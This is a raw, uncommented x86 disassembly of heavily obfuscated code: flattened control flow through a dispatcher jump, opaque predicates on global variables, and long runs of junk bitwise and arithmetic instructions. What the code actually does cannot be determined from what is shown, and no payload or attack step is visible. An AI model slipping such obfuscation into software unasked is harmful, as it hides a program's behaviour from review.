mov eax, 0x1d541c0c
mov ecx, 0x59a94ed7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
and edi, 0xec
imul edi
rcr edi, 0x12
imul edx
inc esi
or esi, 3
imul edi
neg esi
imul edx
sub eax, 0xcb
and edi, 0x4e
or eax, 0x95
add edi, 0xad
neg edx
inc ebx
rcr edx, 0x59
rol esi, 0xb2
not edi
sbb edi, 0xf9
neg esi
add ebx, 0x8c
inc ebx
bswap edx
or eax, 0x73
dec eax
neg ebx
or eax, 0x3a
mov edi, 0xf9
neg ebx
dec eax
and edi, 0xf9
dec esi
bswap eax
neg edi
imul esi
rcr ebx, 0xd6
dec edx
mov eax, 0xb8
add edx, 0xab
rcl edx, 0x46
sbb edi, 0x81
rcr eax, 0x42
rol eax, 0xf7
add esi, 0x11
mov ebx, 0xc1
bswap edx
imul eax
and eax, 0x66
bswap edx
rcr edx, 0xcf
sub ebx, 0x7b
inc edx
and ebx, 0xb6
inc esi
bswap ebx
mov eax, 0x61
sbb esi, 0x39
ror edx, 0x49
sbb edi, 0x6a
rcl eax, 0xe2
dec edx
rol edi, 0x5f
mov esi, 0xc3
rcl edx, 0xc2
imul edi
sub esi, 0x8f
not eax
rol edx, 0x57
not edi
add ebx, 0x5e
rcr edi, 0x2a
rcl ebx, 0x1b
imul eax
rcl esi, 0xa7
sbb ebx, 0x26
neg edi
rcl eax, 0xd8
neg esi
inc eax
inc edi
rol esi, 0xee
inc edi
ror eax, 0xec
sub eax, 0x89
sbb ebx, 0xb4
rol esi, 0xfa
ror esi, 0xb7
neg edx
rcl edi, 0xee
neg edx
imul esi
ror esi, 0x1d
sbb esi, 0xc5
imul edx
sbb esi, 0xea
not ebx
sub edx, 0xb8
mov ebx, 0x80
inc eax
ror edi, 0x4a
bswap eax
ror edi, 0x14
imul esi
dec ebx
sub eax, 0xf2
bswap edi
sub eax, 0xea
or edi, 0xbc
or edx, 0x46
dec esi
dec edi
or ebx, 0xe8
sub esi, 0x4d
rcl edi, 0x77
mov edx, 0x35
add edx, 0x9a
ror eax, 0x60
dec edx
imul edx
neg edx
dec edi
rcl edi, 0x14
rol eax, 0xb2
dec esi
ror edi, 0xf8
imul eax
not esi
imul eax
sub ebx, 0x46
imul edi
or ebx, 0x44
add ebx, 0x6e
rcl edx, 0xa7
not eax
inc edx
not eax
imul eax
dec edx
sbb ebx, 0x80
dec edi
mov esi, 0x79
rcr eax, 0xb7
imul edx
rcr edi, 0x72
neg ebx
not edi
ror esi, 0x4c
not esi
sub esi, 0xa0
or eax, 0xc7
mov ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov edx, dword [eax + 0x80]
mov eax, 0x3a1cd378
add eax, 0
sub eax, 0x662b1604
sub eax, 0x3a1cd378
add eax, 0x8118f6f2
sub eax, edx
sub eax, 0x8118f6f2
sub eax, 0xa9029ad5
add eax, 0x662b1604
add eax, 0xa9029ad5
xor edx, edx
sub edx, 0xce86bfa1
add ecx, edx
add ecx, 0xfd73a068
sub ecx, eax
sub ecx, 0xfd73a068
sub ecx, 0xfe4549e5
add ecx, 0xce86bfa1
add ecx, 0xfe4549e5
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov dword [eax], 0
mov dword [ebp - 0x1a8], 0xcf63e5c
jmp 0x4b4ff5
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
imul eax, eax, 0x14
add edx, eax
mov eax, 0xc115b57b
mov ecx, 0x7157041a
cmp dword [edx + 0x10], 0
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x1a8], 0x584b1816
jmp 0x4b4ff5
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
mov esi, 0xe3a5684
add esi, 0
sub esi, 0x25cdf3f4
sub esi, 0xe3a5684
mov edx, ecx
sub edx, 0x78c5f4f
sub edx, esi
add edx, 0x78c5f4f
sub edx, 0xeaa94b80
sub edx, 0xa44a247c
add edx, 0xeaa94b80
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0xa44a247c
sub edx, esi
add edx, 0x4a067ae
sub edx, 0xe2a567eb
sub edx, 0x4a067ae
xor esi, esi
sub esi, 0x25cdf3f4
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xe2a567eb
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl al
mov byte [ebp - 0x6b7], al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov ch, dl
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov cl, 1
xor cl, 0
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov al, 1
xor al, 0
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
or al, ah
mov ah, dl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov ch, 1
xor ch, 1
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov dh, 1
xor dh, 0
mov bh, ch
xor bh, dh
and bh, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, cl
and ah, 0xff
and bh, dh
mov byte [ebp - 0x6bb], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x6ba], al
mov al, byte [ebp - 0x6bb]
or ah, al
mov al, byte [ebp - 0x6ba]
or bh, al
mov al, byte [ebp - 0x6b7]
xor ah, bh
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or ah, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
mov ch, al
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or ch, dh
or cl, ah
xor ch, cl
mov cl, 1
xor cl, 1
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, bh
or ah, dh
xor ch, ah
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x6a6], al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
xor al, 0
and al, 0
mov ah, dh
xor ah, 0xff
mov bh, al
xor bh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and dh, ch
mov byte [ebp - 0x6b9], dh
mov dh, bh
and dh, 0
and al, ch
mov byte [ebp - 0x6b8], al
mov al, byte [ebp - 0x6b9]
or cl, al
mov al, byte [ebp - 0x6b8]
or dh, al
mov al, byte [ebp - 0x6b7]
xor cl, dh
mov dh, byte [ebp - 0x6a6]
or ah, bh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov byte [ebp - 0x69b], cl
mov bh, 1
xor bh, 0
and bh, 1
mov ch, 1
xor ch, 1
mov cl, ch
and cl, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, cl
mov cl, byte [ebp - 0x69b]
or ah, ch
xor bh, ah
mov ch, bl
xor ch, 0xff
mov ah, bh
and ah, ch
xor bh, 0xff
mov ch, bl
and ch, bh
or ah, ch
xor ah, 0xff
mov bh, bl
xor bh, 0xff
mov ch, 1
xor ch, 0
or ah, bh
or ch, 0
xor ah, 0xff
and ah, ch
mov bh, cl
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and cl, ch
or bh, cl
mov ch, dl
xor ch, 0xff
mov cl, bh
and cl, ch
xor bh, 0xff
mov ch, dl
and ch, bh
or cl, ch
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov ch, dh
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
or dh, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov dl, ch
and dl, dh
xor ch, dh
or dl, ch
mov ch, cl
and ch, 0
xor cl, 0
or ch, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
xor ch, 0xff
mov dl, cl
xor dl, ch
and dl, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and al, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, al
mov al, byte [ebp - 0x69b]
or cl, dh
xor ch, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
mov byte [ebp - 0x6b6], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x6b5], al
mov al, byte [ebp - 0x6b6]
and cl, 1
or dh, al
mov al, byte [ebp - 0x6b5]
or al, cl
xor dh, al
mov al, 1
xor al, 0
and al, 0
mov byte [ebp - 0x6b3], al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x6b4], cl
and cl, 0
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x6b2], al
mov al, byte [ebp - 0x6b4]
and al, 1
mov byte [ebp - 0x6b1], al
mov al, byte [ebp - 0x6b3]
or al, cl
mov cl, byte [ebp - 0x6b2]
mov byte [ebp - 0x6b0], al
mov al, byte [ebp - 0x6b1]
or cl, al
mov al, byte [ebp - 0x6b0]
xor al, cl
mov byte [ebp - 0x6af], al
mov cl, ch
and cl, dh
xor ch, dh
or cl, ch
mov byte [ebp - 0x6a9], cl
mov ch, 1
xor ch, 0
xor al, 0xff
mov byte [ebp - 0x6aa], al
mov dh, 1
xor dh, 0
mov cl, ch
and cl, 0
mov byte [ebp - 0x6ae], cl
mov cl, dh
and cl, 0
and al, 0
mov byte [ebp - 0x6ac], al
mov al, byte [ebp - 0x6af]
and al, dh
mov byte [ebp - 0x6ad], al
mov al, byte [ebp - 0x6ae]
or al, cl
mov cl, byte [ebp - 0x6ad]
mov byte [ebp - 0x6ab], al
mov al, byte [ebp - 0x6ac]
or al, cl
mov cl, byte [ebp - 0x6ab]
xor cl, al
mov al, byte [ebp - 0x6aa]
or ch, al
mov al, byte [ebp - 0x6a9]
xor ch, 0xff
or dh, 0
and ch, dh
or cl, ch
mov ch, al
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and al, dh
mov byte [ebp - 0x6a8], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x6a7], al
mov al, byte [ebp - 0x6a8]
and dh, 1
or ch, al
mov al, byte [ebp - 0x6a7]
or al, dh
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, ah
xor al, 0xff
mov cl, bh
xor cl, 0xff
mov dh, 1
xor dh, 1
or al, cl
mov cl, byte [ebp - 0x6a6]
or dh, 1
xor al, 0xff
and al, dh
mov byte [ebp - 0x6a5], al
mov al, ah
xor al, 0xff
mov dh, bh
and dh, al
mov al, byte [ebp - 0x6a5]
xor bh, 0xff
and ah, bh
or dh, ah
mov ah, al
and ah, dh
xor al, dh
or ah, al
mov dh, dl
xor dh, 0xff
mov bh, ch
xor bh, 0xff
mov al, 1
xor al, 1
or dh, bh
or al, 1
xor dh, 0xff
and dh, al
mov bh, dl
xor bh, 0xff
mov al, ch
and al, bh
xor ch, 0xff
and dl, ch
or al, dl
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x6a2], bh
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 0
and bh, 0
and dh, dl
mov byte [ebp - 0x6a4], dh
mov dh, ch
and dh, 0
and al, dl
mov byte [ebp - 0x6a3], al
mov al, byte [ebp - 0x6a4]
or bh, al
mov al, byte [ebp - 0x6a3]
or dh, al
mov al, byte [ebp - 0x6a2]
xor bh, dh
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or bh, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov al, bh
xor al, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov ch, bh
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bh, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or ch, bh
or dl, dh
xor ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov dl, bl
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov dh, bl
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dl, dh
or al, ch
xor dl, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov ch, 1
xor ch, 1
mov al, ch
and al, 0
mov byte [ebp - 0x6a1], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x6a0], al
mov al, byte [ebp - 0x6a1]
and ch, 1
or bh, al
mov al, byte [ebp - 0x6a0]
or al, ch
xor bh, al
mov byte [ebp - 0x69c], bh
mov al, 1
xor al, 0
mov ch, dl
xor ch, al
and ch, dl
xor bl, 0xff
xor bh, 0xff
mov al, 1
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov bh, dh
xor bh, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x69f], al
mov al, 1
xor al, 1
mov byte [ebp - 0x69e], al
mov al, byte [ebp - 0x69f]
or bh, al
mov al, byte [ebp - 0x69e]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x69c]
mov byte [ebp - 0x69d], bh
xor cl, 0xff
xor al, 0xff
mov bh, 1
xor bh, 0
or cl, al
mov al, byte [ebp - 0x69d]
or bh, 0
xor cl, 0xff
and cl, bh
mov bh, ch
and bh, bl
xor ch, bl
or bh, ch
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov ch, bh
xor ch, 0xff
and ch, 0
mov al, 1
xor al, 0
and bh, al
mov cl, bl
xor cl, 0xff
and cl, 0
and bl, al
mov al, byte [ebp - 0x69c]
or ch, bh
or cl, bl
xor ch, cl
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and cl, dl
or bh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ch
xor al, 0xff
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 1
mov bl, al
and bl, 0xff
and ch, cl
mov dh, dl
and dh, 0xff
and bh, cl
or bl, ch
mov ch, byte [ebp - 0x69b]
or dh, bh
xor bl, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or bl, al
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
xor bl, 0xff
mov dl, dh
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov bh, 1
xor bh, 1
mov dl, al
xor dl, bh
and dl, al
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov cl, dl
and cl, dh
xor dl, dh
or cl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, ch
or al, cl
xor bl, al
mov cl, 1
xor cl, 0
and cl, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov byte [ebp - 0x68d], cl
mov al, dl
xor al, 0xff
mov bh, 1
xor bh, 0
mov ch, 1
xor ch, 1
or al, bh
or ch, 1
xor al, 0xff
and al, ch
xor cl, 0xff
xor cl, 0
and cl, 0
mov byte [ebp - 0x69a], cl
mov ch, bl
xor ch, 0xff
mov bh, 1
xor bh, 0
mov cl, 1
xor cl, 0
or ch, bh
mov bh, byte [ebp - 0x69b]
or cl, 0
xor ch, 0xff
and ch, cl
mov cl, byte [ebp - 0x68d]
mov byte [ebp - 0x695], ch
xor cl, 0xff
mov ch, bh
xor ch, cl
mov cl, byte [ebp - 0x69a]
and ch, bh
mov byte [ebp - 0x694], ch
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x696], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x697], cl
mov ch, bh
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0x69a]
mov byte [ebp - 0x699], al
mov al, byte [ebp - 0x696]
and al, 0xff
mov byte [ebp - 0x698], al
mov al, byte [ebp - 0x697]
and cl, al
mov al, byte [ebp - 0x699]
or ch, al
mov al, byte [ebp - 0x698]
or al, cl
mov cl, byte [ebp - 0x697]
xor ch, al
mov al, byte [ebp - 0x696]
or bh, al
mov al, byte [ebp - 0x695]
xor bh, 0xff
or cl, 1
and bh, cl
mov cl, byte [ebp - 0x694]
or ch, bh
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x690], bh
xor cl, 0xff
mov byte [ebp - 0x691], cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x68f], cl
and bh, 0
and al, cl
mov cl, byte [ebp - 0x694]
mov byte [ebp - 0x693], al
mov al, byte [ebp - 0x691]
and al, 0
mov byte [ebp - 0x692], al
mov al, byte [ebp - 0x68f]
and cl, al
mov al, byte [ebp - 0x693]
or bh, al
mov al, byte [ebp - 0x692]
or al, cl
mov cl, byte [ebp - 0x691]
xor bh, al
mov al, byte [ebp - 0x690]
or al, cl
mov cl, byte [ebp - 0x68f]
xor al, 0xff
or cl, 0
and al, cl
or bh, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
and ch, al
mov byte [ebp - 0x68e], ch
mov ch, bh
xor ch, 0xff
and ch, 0
and bh, al
mov al, byte [ebp - 0x68e]
or cl, al
mov al, byte [ebp - 0x68d]
or ch, bh
xor cl, ch
mov ch, dl
and ch, bl
xor dl, bl
or ch, dl
mov dl, ch
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and ch, bl
or dl, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
xor dl, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
mov bh, 1
xor bh, 0
and bh, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or bh, dh
or al, ch
xor bh, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x68c], al
mov dl, 1
xor dl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, dl
and cl, 0
mov al, ch
and al, 0
mov bl, dh
and bl, 0
and bh, ch
or cl, al
mov al, byte [ebp - 0x68c]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or cl, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and al, dl
or ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x684], al
mov bh, ch
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or bh, cl
mov dl, 1
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
xor al, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov dh, dl
xor dh, 0xff
mov cl, ah
xor cl, dh
and cl, ah
mov dh, 1
xor dh, 0
mov ah, bh
xor ah, dh
and ah, bh
mov byte [ebp - 0x688], ah
mov dh, dl
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x689], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0x68b], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x68a], al
mov al, byte [ebp - 0x68b]
and cl, dh
or ch, al
mov al, byte [ebp - 0x68a]
or al, cl
mov cl, byte [ebp - 0x689]
xor ch, al
mov al, byte [ebp - 0x688]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x685], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and ah, 0xff
and al, dh
mov byte [ebp - 0x687], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x686], al
mov al, byte [ebp - 0x687]
and cl, dh
or ah, al
mov al, byte [ebp - 0x686]
or al, cl
mov cl, byte [ebp - 0x685]
xor ah, al
mov al, byte [ebp - 0x684]
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or ah, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x683], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and al, ah
mov dh, ch
and dh, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x683]
or dh, bh
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8ecf5b39
mov ecx, 0xc5031551
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0xdd0ebddc
jmp 0x4b4ff5
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x140]
mov edx, dword [edx]
mov ecx, dword [ecx + edx*4]
xor esi, esi
sub esi, 0xc29fdd40
add esi, 0
xor edx, edx
sub edx, esi
add eax, edx
sub eax, 0x39547ec5
sub eax, 0xbdc8b6c
add eax, 0x39547ec5
sub eax, 0x4ead7f89
add eax, ecx
add eax, 0x4ead7f89
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xbdc8b6c
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0xa2658ae4
sub eax, 0xfeaece
add eax, 0xa2658ae4
sub eax, 0xd7fb98b8
sub eax, 0xc29fdd40
add eax, 0xd7fb98b8
sub eax, 0x1156b52d
add eax, 0xfeaece
add eax, 0x1156b52d
mov dword [ebp - 0x80], eax
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
mov edi, 0x9e4145f8
add edi, 0
add edi, 0x7d2156a3
sub edi, 0x9e4145f8
sub edi, 0x478c0cbe
sub edi, 1
add edi, 0x478c0cbe
add edi, 0x65ef8ad
sub edi, 0x7d2156a3
sub edi, 0x65ef8ad
mov esi, 0xf8fcdcab
add esi, 0
sub esi, ecx
sub esi, 0xf8fcdcab
xor edx, edx
sub edx, 0x3a93000b
sub edx, edi
add edx, 0x3a93000b
add esi, 0xf438032e
add esi, edx
sub esi, 0xf438032e
xor edx, edx
sub edx, esi
add edx, 0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl dl
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov dh, ch
and dh, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or cl, dh
or al, ah
xor cl, al
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov al, ch
and al, dh
or ah, al
mov bl, 1
xor bl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov ah, 1
xor ah, 1
and ah, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ah, bh
or al, dh
xor ah, al
mov dh, ah
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov dh, dl
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
mov ch, dl
and ch, bh
or dh, ch
mov bh, 1
xor bh, 1
mov ch, dh
xor ch, bh
and ch, dh
mov byte [ebp - 0x741], ch
xor ah, 0xff
mov bh, dl
xor bh, ah
and bh, dl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov ch, dl
and ch, 0xff
and bl, ah
mov byte [ebp - 0x743], bl
mov bl, dh
and bl, 0xff
and al, ah
mov byte [ebp - 0x742], al
mov al, byte [ebp - 0x743]
or ch, al
mov al, byte [ebp - 0x742]
or bl, al
mov al, byte [ebp - 0x741]
xor ch, bl
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or ch, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x740], dl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
and dl, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or dl, al
mov al, byte [ebp - 0x740]
or bl, bh
xor dl, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and ch, dh
mov al, dl
xor al, 0xff
and al, 0
and dl, dh
or ah, ch
or al, dl
xor ah, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov byte [ebp - 0x738], al
mov bh, ah
xor bh, 0xff
and bh, 0
mov ch, 1
xor ch, 0
mov dh, ah
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or bh, dh
or dl, ch
xor bh, dl
mov dl, 1
xor dl, 0
and dl, 1
mov ch, 1
xor ch, 1
and ch, 0
or dl, ch
xor al, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
